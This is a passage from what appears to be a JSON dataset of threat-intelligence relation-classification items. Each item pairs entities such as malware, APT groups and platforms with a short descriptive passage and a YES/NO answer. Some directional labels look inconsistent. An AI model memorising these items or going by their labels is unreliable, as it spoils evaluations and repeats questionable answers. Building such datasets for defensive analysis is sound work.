and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCinnamon Tempest\n### Target Entity: Cheerscrypt\n### Text Passage:\nCheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCheerscrypt\n### Target Entity: ESXi\n### Text Passage:\nCheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCheerscrypt\n### Target Entity: Windows\n### Text Passage:\nCheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCheerscrypt\n### Target Entity: Babuk\n### Text Passage:\nCheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBabuk\n### Target Entity: Cheerscrypt\n### Text Passage:\nCheerscrypt is a ransomware that was developed by Cinnamon Tempest and has been used in attacks against ESXi and Windows environments since at least 2022. Cheerscrypt was derived from the leaked Babuk source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from Babuk.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDeep Panda\n### Target Entity: StreamEx\n### Text Passage:\nStreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStreamEx\n### Target Entity: Deep Panda\n### Text Passage:\nStreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCardinal RAT\n### Target Entity: Windows\n### Text Passage:\nCardinal RAT can collect the hostname, Microsoft Windows version, and processor architecture from a victim machine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSykipot\n### Target Entity: net\n### Text Passage:\nSykipot may use net view /domain to display hostnames of available systems on a network.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNKAbuse\n### Target Entity: Go\n### Text Passage:\nNKAbuse is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPOSHSPY\n### Target Entity: PowerShell\n### Text Passage:\nPOSHSPY downloads and executes additional PowerShell code and Windows binaries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPOSHSPY\n### Target Entity: Windows\n### Text Passage:\nPOSHSPY downloads and executes additional PowerShell code and Windows binaries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExaramel\n### Target Entity: Linux\n### Text Passage:\nExaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExaramel\n### Target Entity: Go\n### Text Passage:\nExaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nExaramel\n### Target Entity: Windows\n### Text Passage:\nExaramel for Linux is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under Exaramel for Windows.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRoyalDNS\n### Target Entity: Nwsapagent\n### Text Passage:\nKe3chang backdoor RoyalDNS established persistence through adding a service called Nwsapagent.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRoyalDNS\n### Target Entity: Ke3chang\n### Text Passage:\nKe3chang backdoor RoyalDNS established persistence through adding a service called Nwsapagent.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFoggyWeb\n### Target Entity: Active Directory Federated Services\n### Text Passage:\nFoggyWeb is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by APT29 since at least early April 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: FoggyWeb\n### Text Passage:\nFoggyWeb is a passive and highly-targeted backdoor capable of remotely exfiltrating sensitive information from a compromised Active Directory Federated Services (AD FS) server. It has been used by APT29 since at least early April 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC2\n### Target Entity: FatDuke\n### Text Passage:\nFatDuke can be controlled via a custom C2 protocol over HTTP.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBrainTest\n### Target Entity: Android\n### Text Passage:\nBrainTest is a family of Android malware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDoubleAgent\n### Target Entity: Chinese\n### Text Passage:\nDoubleAgent is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDoubleAgent\n### Target Entity: Chinese government\n### Text Passage:\nDoubleAgent is a family of RAT malware dating back to 2013, known to target groups with contentious relationships with the Chinese government.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkHydrus\n### Target Entity: RogueRobin\n### Text Passage:\nRogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRogueRobin\n### Target Entity: PowerShell\n### Text Passage:\nRogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRogueRobin\n### Target Entity: C#\n### Text Passage:\nRogueRobin is a payload used by DarkHydrus that has been developed in PowerShell and C#. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGCMAN\n### Target Entity: Putty\n### Text Passage:\nGCMAN uses Putty for lateral movement.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRemexi\n### Target Entity: BITSAdmin\n### Text Passage:\nRemexi performs exfiltration over BITSAdmin, which is also used for the C2 channel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRemexi\n### Target Entity: C2\n### Text Passage:\nRemexi performs exfiltration over BITSAdmin, which is also used for the C2 channel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSiloscape\n### Target Entity: kubectl\n### Text Passage:\nSiloscape searches for the kubectl binary.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThrip\n### Target Entity: PowerShell\n### Text Passage:\nThrip leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0018\n### Target Entity: AvosLocker\n### Text Passage:\nC0018 was a month-long ransomware intrusion that successfully deployed AvosLocker onto a compromised network. The unidentified actors gained initial access to the victim network through an exposed server and used a variety of open-source tools prior to executing AvosLocker.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAdFind\n### Target Entity: Active Directory\n### Text Passage:\nAdFind is a free command-line query tool that can be used for gathering information from Active Directory.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNinja\n### Target Entity: C++\n### Text Passage:\nNinja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nToddyCat\n### Target Entity: Ninja\n### Text Passage:\nNinja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNinja\n### Target Entity: Europe\n### Text Passage:\nNinja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNinja\n### Target Entity: Asia\n### Text Passage:\nNinja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSamurai\n### Target Entity: Ninja\n### Text Passage:\nNinja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEurope\n### Target Entity: Asia\n### Text Passage:\nNinja is a malware developed in C++ that has been used by ToddyCat to penetrate networks and control remote systems since at least 2020. Ninja is possibly part of a post exploitation toolkit exclusively used by ToddyCat and allows multiple operators to work simultaneously on the same machine. Ninja has been used against government and military entities in Europe and Asia and observed in specific infection chains being deployed by Samurai.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMandrake\n### Target Entity: Android\n### Text Passage:\nMandrake is a sophisticated Android espionage platform that has been active in the wild since at least 2016. Mandrake is very actively maintained, with sophisticated features and attacks that are executed with surgical precision.\n\nMandrake has gone undetected for several years by providing legitimate, ad-free applications with social media and real reviews to back the apps. The malware is only activated when the operators issue a specific command.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: SVCReady\n### Text Passage:\nSVCReady is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between TA551 activity and SVCReady distribution, including similarities in file names, lure images, and identical grammatical errors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkVishnya\n### Target Entity: Impacket\n### Text Passage:\nDarkVishnya has obtained and used tools such as Impacket, Winexe, and PsExec.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkVishnya\n### Target Entity: Winexe\n### Text Passage:\nDarkVishnya has obtained and used tools such as Impacket, Winexe, and PsExec.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkVishnya\n### Target Entity: PsExec\n### Text Passage:\nDarkVishnya has obtained and used tools such as Impacket, Winexe, and PsExec.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPsExec\n### Target Entity: DarkVishnya\n### Text Passage:\nDarkVishnya has obtained and used tools such as Impacket, Winexe, and PsExec.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nToddyCat\n### Target Entity: Pcexter\n### Text Passage:\nPcexter is an uploader that has been used by ToddyCat since at least 2023 to exfiltrate stolen files.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: IcedID\n### Text Passage:\nProofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020. On 20 October 2021, Proofpoint observed emails that appeared to be replies to previous conversations and contained password-protected zipped Word documents. The attachments ultimately lead to the download of Sliver, an open-source, cross-platform adversary simulation and red team platform.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: Maze\n### Text Passage:\nProofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020. On 20 October 2021, Proofpoint observed emails that appeared to be replies to previous conversations and contained password-protected zipped Word documents. The attachments ultimately lead to the download of Sliver, an open-source, cross-platform adversary simulation and red team platform.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: Egregor\n### Text Passage:\nProofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020. On 20 October 2021, Proofpoint observed emails that appeared to be replies to previous conversations and contained password-protected zipped Word documents. The attachments ultimately lead to the download of Sliver, an open-source, cross-platform adversary simulation and red team platform.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIcedID\n### Target Entity: Sliver\n### Text Passage:\nProofpoint assesses with high confidence TA551 IcedID implants were associated with Maze and Egregor ransomware events in 2020. On 20 October 2021, Proofpoint observed emails that appeared to be replies to previous conversations and contained password-protected zipped Word documents. The attachments ultimately lead to the download of Sliver, an open-source, cross-platform adversary simulation and red team platform.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMeteor\n### Target Entity: Iranian\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMeteor\n### Target Entity: Iranian Railways\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMeteor\n### Target Entity: Ministry of Roads\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMeteor\n### Target Entity: Urban Development\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStardust\n### Target Entity: Meteor\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nComet\n### Target Entity: Meteor\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndra\n### Target Entity: Stardust\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndra\n### Target Entity: Comet\n### Text Passage:\nMeteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStardust\n### Target Entity: Syria\n### Text Passage:\nMeteor is a wiper that was used against 